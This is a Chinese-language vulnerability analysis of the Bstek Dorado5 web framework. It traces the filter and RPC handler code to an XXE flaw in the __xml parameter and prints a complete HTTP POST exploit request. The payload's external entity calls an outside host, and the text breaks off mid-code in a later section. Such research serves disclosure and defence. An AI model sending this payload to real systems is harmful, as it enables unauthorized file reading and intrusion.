Author:jkgh006@敏信安全审计
锐道DORADO集成开发平台软件 V5.0(简称Dorado5 IDE)产品是与锐道DORADO展现中间件软件V5.0(简称DORADO5)产品配套的集成开发平台,进一步升编程效率与团队开发规范性。简言之,Dorado5 IDE是Dorado5的配套开发工具。
Dorado5 IDE支持控件属性设定、提供JavaScript事件编辑器、国际化资源文件编辑器、工程向导等。
Dorado5 IDE采用Eclipse Plug-in技术,以插件形式与Eclipse开发环境融为一体.
参考链接:http://wiki.bsdn.org/pages/viewpage.action?pageId=984613
客户案例:http://www.bstek.com/about/case
首先看web.xml
<web-app>
<filter>
<filter-name>doradofilter</filter-name>
<filter-class>com.bstek.dorado.core.DoradoFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>doradofilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
分析DoradoFilter.class:
public void init(FilterConfig filterConfig) throws ServletException {
this.initSystemProperties();
try {
if (this.concreteFilter == null) {
String ex = filterConfig.getInitParameter("impl");
Class cl = CacheUtils.getClass(StringUtils.defaultString(ex,
"com.bstek.dorado.core.FilterHandle"));
Object o = cl.newInstance();
this.concreteFilter = (Filter) o;
}
this.concreteFilter.init(filterConfig);
} catch (IllegalAccessException arg4) {
arg4.printStackTrace();
} catch (InstantiationException arg5) {
arg5.printStackTrace();
}
}
初始化了com.bstek.dorado.core.FilterHandle,并且进行了new操作
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain filterChain) throws ServletException, IOException {
this.concreteFilter.doFilter(request, response, filterChain);
}
根据filter的 链式效果将会调用FilterHandle的dofilter操作:
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain filterChain) throws ServletException {
try {
HttpServletRequest ex = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
boolean isRPC = false;
boolean fromAgent = false;
String qs = ex.getQueryString();
if (qs != null) {
if (qs.endsWith("!$$")) {
ResponseCache rpcInfo1 = this.getResponseCache(qs);
if (rpcInfo1 != null) {
rpcInfo1.restoreResponse(ex, resp);
} else {
PrintWriter out = new PrintWriter(
this.getResponseOutputStream(ex, resp));
out.write("Page Timeout!");
out.flush();
out.close();
resp.flushBuffer();
}
return;
}
FilterHandlerRPCInfo rpcInfo = this.parseQueryString(qs);
isRPC = rpcInfo.isRPC();
fromAgent = rpcInfo.isFromAgent();
}
if (isRPC) {
isRPC = !VariantHelper.parseBoolean(ex
.getAttribute("com.bstek.dorado.view.rpc.processed"));
}
DoradoContext.registerContext(HttpContextFactory
.getContext(request));
try {
if (isRPC) {
if (fromAgent) {
this.doAgentRPCFilter(filterChain, ex, resp);
} else {
this.doRPCFilter(filterChain, ex, resp);
}
} else {
this.internalDoFilter(filterChain, ex, resp);
}
} finally {
TransactionManager.disposeTransaction();
if (Setting.getBoolean("fixBug_100925")) {
DoradoContext.unregisterContext();
}
}
} catch (RuntimeException arg16) {
throw arg16;
} catch (ServletException arg17) {
throw arg17;
} catch (Throwable arg18) {
throw new ServletException(arg18);
}
}
这里有两个地方可以分析:
private FilterHandlerRPCInfo parseQueryString(String queryString) {
FilterHandlerRPCInfo rpcInfo = new FilterHandlerRPCInfo();
String[] params = StringUtils.split(queryString, '&');
for (int i = 0; i < params.length; ++i) {
String param = params[i];
if (param != null) {
int ei = param.indexOf(61);
if (ei > 0) {
String name = param.substring(0, ei);
String value;
if ("__rpc".equals(name)) {
value = param.substring(ei + 1);
this.validateParameterCharacters(value);
rpcInfo.setRPC(VariantHelper.parseBoolean(value));
} else if ("__rpcAgent".equals(name)) {
value = param.substring(ei + 1);
this.validateParameterCharacters(value);
rpcInfo.setFromAgent(VariantHelper.parseBoolean(value));
}
}
}
}
return rpcInfo;
}
如果我们的url是:smartweb2.RPC.d?__rpc=true 这里isRPC返回的就是ture
try {
if (isRPC) {
if (fromAgent) {
this.doAgentRPCFilter(filterChain, ex, resp);
} else {
this.doRPCFilter(filterChain, ex, resp);
}
} else {
this.internalDoFilter(filterChain, ex, resp);
}
} finally {
继续跟进一下doRPCFilter函数
private void doRPCFilter(FilterChain filterChain, HttpServletRequest req,
HttpServletResponse resp) throws Throwable {
String qs = this.genNewQS();
RPCHandler handler = RPCHelper.getHandler(req);
ResponseCache responseCache = new ResponseCache();
try {
handler.init(req);
DoradoBufferedResponse ex = new DoradoBufferedResponse(resp,
responseCache);
this.internalDoFilter(filterChain, req, ex);
if (!handler.isExecuted()) {
handler.execute();
}
ex.flushBuffer();
} catch (Throwable arg14) {
if (arg14 instanceof ServletException) {
handler.setError(((ServletException) arg14).getRootCause());
} else {
handler.setError(arg14);
}
this.processException(arg14);
} finally {
DoradoContext.registerContext(HttpContextFactory.getContext(req));
handler.endCalling(qs);
String contentType = "text/xml";
resp.setContentType("text/xml");
PrintWriter out = new PrintWriter(this.getResponseOutputStream(req,
resp));
Outputter xmlOutputter = OutputHelper.getOutputter(
handler.getClass(), "smartweb2");
xmlOutputter.outputStartSection(out, handler, req);
xmlOutputter.outputEndSection(out, handler, req);
out.flush();
out.close();
resp.flushBuffer();
if (responseCache.commitResponse()
&& !NoForwardController.isNoForward(req)) {
this.storeResponseCache(responseCache, qs);
}
RPCHelper.disposeHandler(req);
if (Setting.getBoolean("fixBug_100925")) {
DoradoContext.unregisterContext();
}
}
}
这个函数总体逻辑分为三个
public static RPCHandler getHandler(HttpServletRequest request)
throws Exception {
RPCHandler handler = (RPCHandler) request
.getAttribute("com.bstek.dorado.view.rpc.RPCHandler");
if (handler == null) {
String type = request.getParameter("__type");
handler = createHandler(type);
request.setAttribute("com.bstek.dorado.view.rpc.RPCHandler",
handler);
}
return handler;
}
这时候参数_type 就很重要的决定了handler的角色,如果我们传递的是__type=updateData,那么我们的处理类就是
private static RPCHandler createHandler(String type) throws Exception {
RPCHandler handler;
if ("updateData".equalsIgnoreCase(type)) {
handler = (RPCHandler) ClassHelper.newInstance(Setting.getString(
"view.updateDataRPCHandler",
UpdateDataRPCHandler.class.getName()));
} else if ("loadData".equalsIgnoreCase(type)) {
handler = (RPCHandler) ClassHelper.newInstance(Setting.getString(
"view.loadDataRPCHandler",
LoadDataRPCHandler.class.getName()));
} else {
handler = (RPCHandler) ClassHelper.newInstance(Setting.getString(
"view.baseRPCHandler", BaseRPCHandler.class.getName()));
}
return handler;
}
回头再分析一下那个初始化方法
跟进分析UpdateDataRPCHandler这个类
public void init(HttpServletRequest request) throws Exception {
super.init(request);
XmlDocument xmlDocument = this.getXmlDocument();
XmlNode rootNode = xmlDocument.getRootNode();
this.transactionMode = rootNode.getAttributeInt("transaction", 10);
this.reduceReturnInfo = rootNode.getAttributeBoolean("rri");
this.batch = UpdateBatchParser.parse(xmlDocument);
this.parameters().assign(this.batch.parameters());
ViewModel viewModel = this.getViewModel();
this.applyUpdateBatch(viewModel, this.batch);
}
调用父类BaseRPCHandler的init
public void init(HttpServletRequest request) throws Exception {
super.init(request);
XmlDocument xmlDocument = this.getXmlDocument();
XmlNode rootNode = xmlDocument.getRootNode();
this.method = rootNode.getAttributeString("method");
}
继续调用父类AbstractRPCHandler的init
public void init(HttpServletRequest request) throws Exception {
this.requestRef = new WeakReference(request);
request.setAttribute("com.bstek.dorado.view.rpc.processed",
new Boolean(true));
String xml = request.getParameter("__xml");
String viewInstanceId = request.getParameter("__viewInstanceId");
ViewModelCacheInfo info = ViewModelManager
.getViewModelInfo(viewInstanceId);
this.viewModel = this.getViewModel(info);
XmlBuilder builder = XmlFactory.createXmlBuilder();
this.xmlDocument = builder.buildDocument("<?xml version=\"1.0\"?>"
+ xml);
ParameterSet parameters = this.parameters();
XmlNode[] paramNodes = null;
XmlNode paramsNode = this.xmlDocument.getRootNode().getChild("ps");
if (paramsNode != null) {
paramNodes = paramsNode.getChildren();
}
if (paramNodes != null) {
for (int properties = 0; properties < paramNodes.length; ++properties) {
XmlNode propNodes = paramNodes[properties];
String propsNode = propNodes.getAttribute("name");
String i = propNodes.getAttribute("type");
String propNode = propNodes.getContent();
if (StringHelper.isNotEmpty(i)) {
parameters.setDataType(propsNode, Integer.parseInt(i));
}
parameters.setString(propsNode, EscapeUtils.unescape(propNode));
if (StringHelper.isEmpty(i)) {
parameters.setDataType(propsNode, 0);
}
}
}
MetaData arg16 = this.viewModel.properties();
XmlNode[] arg17 = null;
XmlNode arg18 = this.xmlDocument.getRootNode().getChild("vps");
看到了吧这里进行了参数处理,其中xml参数直接进入到builder.buildDocument,前后没有禁用实体的标志所以存在xxe
POST /sample/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Pragma: no-cache
Referer: http://localhost:8080/sample/hello_world.jsp
Content-Length: 756
Cookie: JSESSIONID=DA072739F42DD38394A94217857CD063; UM_distinctid=15c78dfcc8237e-0b1ffc25c0572-1263684a-1fa400-15c78dfcc833c4; CNZZDATA80862620=cnzz_eid%3D145476687-1496676251-%26ntime%3D1496676251
X-Forwarded-For: 58.216.50.51
Connection: close
__type=updateData&__viewInstanceId=helloWorld~com.bstek.dorado.view.impl.DynaViewModel&__xml=<!DOxCTYPE+root+[<!ENTITY+%25+remote+SYSTEM+"http%3a//xxe.boomeye.com/index.html">%25remote%3b]><rpc+transaction%3d"10"><def><dataset+type%3d"wrapper"+id%3d"datasetEmployee"><f+name%3d"employee_id"></f><f+name%3d"dept_id"></f><f+name%3d"employee_name"></f><f+name%3d"sex"+type%3d"9"></f><f+name%3d"birthday"+type%3d"10"></f><f+name%3d"married"+type%3d"9"></f><f+name%3d"salary"+type%3d"7"></f><f+name%3d"degree"></f><f+name%3d"email"></f><f+name%3d"web"></f><f+name%3d"cmnt"></f><f+name%3d"image"></f></dataset></def><data><rs+dataset%3d"datasetEmployee"><r+id%3d"10138"+state%3d"insert"><n><v>2222</v><v>1111</v><v>111</v></n></r></rs></data></rpc>&1507876215851
整个框架的加载流程已经分析完成
<servlet>
<servlet-name>doradoservlet</servlet-name>
<servlet-class>com.bstek.dorado.core.DoradoServlet</servlet-class>
<load-on-startup>2</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>doradoservlet</servlet-name>
<url-pattern>*.d</url-pattern>
</servlet-mapping>
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
ActionHandler.invokeAction(request, response);
} catch (RuntimeException ex) {
throw ex;
} catch (ServletException ex) {
throw ex;
} catch (Throwable ex) {
throw new ServletException(ex);
}
}
public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {
doGet(request, response);
}
这里可以看出来是个基础的HttpServlet类
public static void invokeAction(HttpServletRequest request,
HttpServletResponse response) throws Throwable {
String controllerName = "";
String actionName = "";
String extName = null;
String s = request.getServletPath();
int lastDot = s.lastIndexOf(".");
if (lastDot >= 0) {
extName = s.substring(lastDot + 1);
s = s.substring(0, lastDot);
lastDot = s.lastIndexOf(".");
if (lastDot >= 0) {
controllerName = s.substring(0, lastDot);
actionName = s.substring(lastDot + 1);
} else {
controllerName = s;
}
}
if ((extName != null) && ("jsp".equals(extName))) {
return;
}
invokeAction(request, response, controllerName, actionName);
}
private static void invokeAction(HttpServletRequest request,
HttpServletResponse response, String controllerName,
String actionName) throws Throwable {
Controller controller = null;
try {
controller = ControllerManager.getController(request,
controllerName);
controller.invokeAction(actionName, request, response);
} catch (Throwable ex) {
if (getExceptionHandler().processGlobalException(ex, request,
response))
return;
throw ex;
}
}
}
继续跟进 关键位置我们看类(ControllerManager)的 getController方法
public static Controller getController(HttpServletRequest request,
String name) throws Throwable {
return getControllerFactory().createController(request, name);
}
继续跟进:
public Controller createController(HttpServletRequest request, String name)
throws Throwable {
Mapping mapping = Mapping.getInstance();
ControllerConfig config = mapping.findController(name);
if (config != null) {
return createController(request, config);
}
if ("/TellMeSomethingAboutDorado".equals(name)) {
Class cl = CacheUtils
.getClass("com.bstek.dorado.view.smartweb.v2.output.TranslatorOutputter");
Controller controller = (Controller) cl.newInstance();
controller.setName(name);
controller.setConfig(new ControllerConfig(name));
return controller;
}
if ("/TellMeWhoCreatedDorado".equals(name)) {
Class cl = CacheUtils
.getClass("com.bstek.dorado.view.smartweb.v2.output.EncoderOutputter");
Controller controller = (Controller